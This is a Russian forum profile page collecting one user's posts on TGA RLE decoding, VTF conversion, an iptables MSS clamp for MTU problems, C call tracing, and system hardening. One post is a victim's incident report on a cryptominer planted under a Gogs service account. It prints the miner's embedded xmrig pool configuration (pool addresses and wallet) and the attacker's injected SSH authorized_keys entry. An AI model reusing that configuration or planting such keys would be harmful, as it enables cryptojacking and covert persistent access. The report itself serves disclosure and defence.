LINUX.ORG.RU

Сообщения LINUX-ORG-RU

 

cast xDShot VTFedit

vblank_mode=0 %@xDShot% привет ты наверняка пользуешься VTFedit не будет трудно скинуть рабочий wine бутыль с ним? Ему нужен dontnet20 который сейчас не качается, короче никак… Или можно чем то другим конвертировать tga в vtf? Есть для gimp плагин древний на гитхабах, вываливается на этапе сборки boost ковырять плюсовый мусор не умею.

И я до сих пор негодую, чего все теги повыпиливали? Был же тег texture,текстуры и прочее…

 ,

LINUX-ORG-RU ()

TGA + RLE + Gimp = не понимаю

Суть вот две картинки из 4х пикселей RGB порядок с лева на право с верху вниз

  • б белый
  • ч чёрный
[б][ч]
[ч][б]
xxd -g 1 norle.tga;#картинка без RLE
00000000: 00 00 02 00 00 00 00 00 00 00 02 00 02 00 02 00  ................
00000010: 18 20 ff ff ff 00 00 00 00 00 00 ff ff ff 00 00  . ..............
00000020: 00 00 00 00 00 00 54 52 55 45 56 49 53 49 4f 4e  ......TRUEVISION
00000030: 2d 58 46 49 4c 45 2e 00                          -XFILE..

xxd -g 1 rle.tga#картинка с RLE
00000000: 00 00 0a 00 00 00 00 00 00 00 02 00 02 00 02 00  ................
00000010: 18 20 01 ff ff ff 00 00 00 01 00 00 00 ff ff ff  . ..............
00000020: 00 00 00 00 00 00 00 00 54 52 55 45 56 49 53 49  ........TRUEVISI
00000030: 4f 4e 2d 58 46 49 4c 45 2e 00                    ON-XFILE..

Тут

00000000: 00 00 0a 00 00 00 00 00 00 00 02 00 02 00 02 00  ................
00000010: 18 20

Это TGA заголовок где третий байт 02 указывает что это TRUE COLOR NO RLE. А 0a что это TRUE COLOR + RLE Далее 11+12 это размеры по икс, а 13-14 размеры по y 2x2 пикселя итого 4 я великий математик

18 это битность цвета равная (R=8+G=8+B=8) = 24 бита или 3 байта на блок данных которые будет кодировать RLE.

Далее 20 это солянка из бит в байте, тут указывается что данные идут с лева на право с верху в низ. Всё понятно?

Далее следующий байт в без RLE картинке это собсна и есть данные цвета вот они

00000010: 18 20 ff ff ff  00 00 00   00 00 00  ff ff ff
          *  * [R  G  B] [R  G  B ] [R  G  B ][ R  G  B]

Всё что дальше не важно.

А вот теже данные но типа с RLE

00000010: 18 20 01 ff ff ff 00 00 00 01 00 00 00 ff ff ff
          *  * RLE [ DATA ] ?????????????????????????????
                           [ DATA? ][RLE][DATA ] [ DATA ]

Тут сразу за 0x20 идёт 01 что как бы значит что ага у нас один блок данных из 24 бит или 3ёх байт

01 ff ff ff
RLE BLOCK [RLE_LEN=01 RLE_DATA= ff ff ff

Так как данные чередуются то они кодируются от 1 до 127, если есть нечередующийся блок то он кодируется от -1 до -127, при декодировании достаточно убрать знаковый бит и получить число. Но тут этого не надо это так для справки если я сам правильно понял.

Ну так вот ребята а дельше идёт 00 00 00 эммм ну ОК если у нас следующий блок за 01 ff ff ff равен нулю то эмм значит он и есть часть блока и надо его тоже добить нулями до 3 байт, ладно, прыгаем вперёд уже не на 4 байта (RLE=1+COLOR_BITS=3) а на просто 3. И читаем 01 00 00 00 ага у нас один блок данных из трёх нулевых байт. Сразу вопрос какого хрена это и предыдущее просто не 02 00 00 00 тоесть не 2 блока по 3 нулевых байта тоесть 6 нулевых? А вместо этого чехорда. Ок идём дальше, а там ff ff ff 00 мы знаем размер картинки уже это 2x2 и это последний 24 битный блок, но мы в месте первого ff ожидаем RLE значение последовательности. Короче я чего то не понимаю ни хе ра. Картинка тривиальная из 4х пикселей там где RLE по сути избыточен, но если он задан данные должены обрабатываться именно как RLE последовательность. Только вот хрень какато…. И да на просто чёрной или белой картинке такие же приколы хотя там то всё должно быть вообще по красоте, но нет там тоже есть места где 00 00 00 вылазят на който хер отдельно вместо кодирования вместе с другими данными.

Да я в курсе что xxd показывает мне например 0x86 как длину последовательности 134 блока по 3 байта (3=R8G8B8), но на деле это выше 127 значит надо убрать знаковый бит и получить длину последовательности 6 блоков по 3 байта (3=R8G8B8) Но в примере этого нет так как и так разбор как я всё это понимаю растянулся.

Ну так вот друзья, чё за жопка? Что я не так понимаю? Можете сами взять картинку побольше 8на8 например, нарисовать на одной половине просто цветом одим, а на второй попеременным там или как удобно сохранить как c RLE так и без. Посмотреть на обе через xxd и увидеть приколы, как оно закодировано. Тут так, а тут сяк.

Бррррррррр, https://www.youtube.com/watch?v=vlUe8ciyh4w

P.S. Я хрен знает какие теги ставить вычистили всё блин rle, tga поставить не даёт. Кто там все теги вычистил и нахрена?

ЧЯДНТ?

UDP: Результат работ тут https://github.com/orangeduck/Corange/pull/73 кому надо

 , , , ,

LINUX-ORG-RU ()

Производительность реализаций парсинга конфигурационных форматов

Интересует большая табличка сравнения скорости парсинга различных древовидных форматов конфигураций в разных реализациях. Json например и json-c,jansson иное. TOML например и его реализации. libconfig и так далее. Что бы например им скармливали гигабайтный конфиг и сколько мегахешей мегабайт с секунду они обрабатывали.

Да я гуглю прямо сейчас, но какие то рандомные тесты непонятные везде. Хочется сравнения в один ряд и форматов и реализаций при обработке одних и тех же данных.

Ну вот например https://github.com/serde-rs/json-benchmark/blob/master/README.md только по множеству разных форматов и их реализаций хочется увидеть.

UDP: Короче масштабных сравнений нету в природе вроде

 , , , ,

LINUX-ORG-RU ()

Лор не открывается с мобилки ERR_TIMED_OUT

UDP: Причина в MTU или чём то косвенно/явно с этим связанным. ЯННП. Path MTU Discovering Black Hole причина вроде.

UDP2: Да это оно

This target allows to alter the MSS value of TCP SYN packets, to control the maximum size for that connection (usually limiting it to your outgoing interface’s MTU minus 40 for IPv4 or 60 for IPv6, respectively). Of course, it can only be used in conjunction with -p tcp. It is only valid in the mangle table. This target is used to overcome criminally braindead ISPs or servers which block "ICMP Fragmentation Needed" or "ICMPv6 Packet Too Big" packets. The symptoms of this problem are that everything works fine from your Linux firewall/router, but machines behind it can never exchange large packets:
1) Web browsers connect, then hang with no data received.
2) Small mail works fine, but large emails hang.
3) ssh works fine, but scp hangs after initial handshaking.
Workaround: activate this option and add a rule to your firewall configuration like:
iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN \
-j TCPMSS --clamp-mss-to-pmtu

--set-mss value
Explicitly set MSS option to specified value.

--clamp-mss-to-pmtu
Automatically clamp MSS value to (path_MTU - 40 for IPv4; -60 for IPv6).

Установил пока MSS на минимально возможный

iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu

Скорость закачки норм.

Testing download speed................................................................................
Download: 85.27 Mbit/s
Testing upload speed......................................................................................................
Upload: 93.89 Mbit/s

И это при 30 Mbit/s который мне провайдер предоставляет, он же виноват в проблеме. Ко мне не приходят IMCP пакеты с требованием о фрагментации пров их режет на кой то хер, ну я так понял ибо я их не вижу в tcpdump. (вижу, но не те). Ладно может кому пригодится. Фух. Хоть теперь относительно понятно.


В чём может быть причина? Пк->wifi свисток->мобилка. Из termux linux.org.ru пингуется. Но с браузера не заходит. Да, другие сайты работают. Опенннет например и прочие гуглы. wget в termux останавливается на connected. Что-то не то с сертификатами? Lynx тоже не открывает из termux. С основного пк, вот сейчас пишу всё нормально.

Межсетевые экраны отключены. nftables,iptables чистые.

 , , , ,

LINUX-ORG-RU ()

Автоматически вставить макрос в начало функции и в конец

Для регистрации входа в функцию и выхода есть -finstrument-functions который укажут вызываемую и вызывающую функцию, ну и вход и выход из функций.

#include <stdio.h>


char * str = 0;
    void __cyg_profile_func_enter (void *, void *) __attribute__((no_instrument_function));
    void __cyg_profile_func_exit (void *, void *) __attribute__((no_instrument_function));
    void __cyg_profile_func_enter (void *func,  void *caller)
    {
        printf("start \n");
    }


    void __cyg_profile_func_exit (void *func, void *caller)
    {
        printf("end \n");
    }

void func(){}

int main(int argc, char *argv[])
{
    func();
    return 0;
}
dron@gnu:~/Рабочий-стол$ gcc cc.c -Wall -pedantic -std=c11 -finstrument-functions
dron@gnu:~/Рабочий-стол$ ./a.out 
start 
start 
end 
end 
dron@gnu:~/Рабочий-стол$ 

Есть ли что-то такое же, но для макросов? Суть. Я для себя лабаю трассировщик вызовов, да я знаю про backtrace_*() функции. Но без объяснений почему я его не хочу, я его не хочу в данном случае. Ну если кратко быстрее __func__,__FILE__ из тела при вызове отдать чем дрыгать backtrace_*() который будет дрыгать таблицы. Но но это не суть вообще.

Сейчас я делаю тупо вставку макросов в начало и конец функции, если есть return то перед каждым return то есть перед выходом

/*
RS --Record Start
RE --Record End
PB --Print Backtrace
*/
void function_5() {RS   RE}
void function_4() {RS   function_5();  function_5(); function_5();  RE}
void function_3() {RS   function_4();  function_4(); function_4();  RE}
void function_1() {RS   function_3();  PB;  RE}
void function_2() {RS   function_1();  function_1(); function_1();  RE}
int main()
{
RS
    function_2();
RE
}

с выхлопом

dron@gnu:~/Рабочий-стол/HUNTER$ gcc cc.c
dron@gnu:~/Рабочий-стол/HUNTER$ ./a.out 
┣━━━━━━ frame ━━━━━━━>
cc.c:main() 
└─> cc.c:function_2() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   ┗━> backtrace from ━━━> cc.c:function_1() 
┣━━━━━━ frame ━━━━━━━>
cc.c:main() 
└─> cc.c:function_2() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   ┗━> backtrace from ━━━> cc.c:function_1() 
┣━━━━━━ frame ━━━━━━━>
cc.c:main() 
└─> cc.c:function_2() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   └─> cc.c:function_1() 
│   │   └─> cc.c:function_3() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   └─> cc.c:function_4() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   │   │   └─> cc.c:function_5() 
│   │   ┗━> backtrace from ━━━> cc.c:function_1() 
dron@gnu:~/Рабочий-стол/HUNTER$ 


Всё хорошо (ну ещё доделывать надо но суть ясна) только расставлять макросы муторно.

Вариантов вижу три

  • 1 руками

  • 2 парсером каким, который определит что это функция, вот её начало, а вот конец, а вот return и return вдруг сам не макрос

  • 3 чем то типа -finstrument-functions но для макросов

Вот собсна всё. Чво посоветовать по этому поводу есть?

 , , , ,

LINUX-ORG-RU ()

Как определить что вывод был перенаправлен?

Допустим программа делает

appname 
-hello
fprintf(stdout,"\x1B[31m""-hello""\x1B[39m");

Но если

appname > out.txt

она будет делать

fprintf(stdout,"hello");

Можно ли как то определить что stdout был перенаправлен?

 , , , ,

LINUX-ORG-RU ()

Можно меня заморозить до первого числа? Пожалуйста.

Сервер отключать не обязательно, пусть люди общаются. Спасибо.

 , , ,

LINUX-ORG-RU ()

Советов тред по настройке безопасности.

В связи с АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер! накатываю свежий Debian. Чтобы избежать детских ошибок чтобы вы посоветовали в плане безопасности системы.

Будет роутер, в промежутке между провайдером и мною.

  • iptables

  • fail2ban

  • авторизация по ключу

  • Монтирование с noexec, но всё же веду разработку и надо запускать бинари из хомячка, это удобно.

Это с вашими советами по конфигурации и иное что порекомендуете касательно настройки свежей системы?

Всем спасибо.

 , , , ,

LINUX-ORG-RU ()

АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер!

GOGS НАВЕРНОЕ НЕ ВИНОВААААТ!!!!!!!!!!!!! UPDATE3 НИЖЕ!!!!!!! Я ЛОХХХХХХХХХ :D

Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.

Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png

В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.

Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?

UPDATE

И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.

Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0

Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.

Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.

И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.

2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate

Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc

.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002  271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002   21 сен 13 00:31 dir2.dir

./a:
итого 2820
-rwxrwxrwx 1 1002 1002     876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002       1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002      23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002    9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002      10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002     226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002     700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002     202 сен 13 00:31 upd

./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002   157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002    23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002  6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002    42 сен 13 00:31 sync

Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания

            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
         {
            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
   	 {
            "algo": null,
            "coin": "monero",
            "url": "debian-package.center:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 1,
    "retry-pause": 3,
    "syslog": false,
    "user-agent": null,
    "watch": true,
    "pause-on-battery": false
}

Сам бинарник публиковать не буду.

Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.

.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

SHA512 всех этих файлов

1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf  .ssh/authorized_keys

3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24  .configrc/cron.d

ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95  .configrc/dir2.dir

f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230  .configrc/a/a

be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09  .configrc/a/bash.pid

1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac  .configrc/a/dir.dir

8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79  .configrc/a/init0

ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda  .configrc/a/kswapd0

a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22  .configrc/a/run

b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f  .configrc/a/stop

fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a  .configrc/a/upd
 
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862  .configrc/a/.procs

95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1  .configrc/b/1

21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881  .configrc/b/a

a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad  .configrc/b/dir.dir

0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe  .configrc/b/run

cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a  .configrc/b/stop

3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0  .configrc/b/sync

Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9

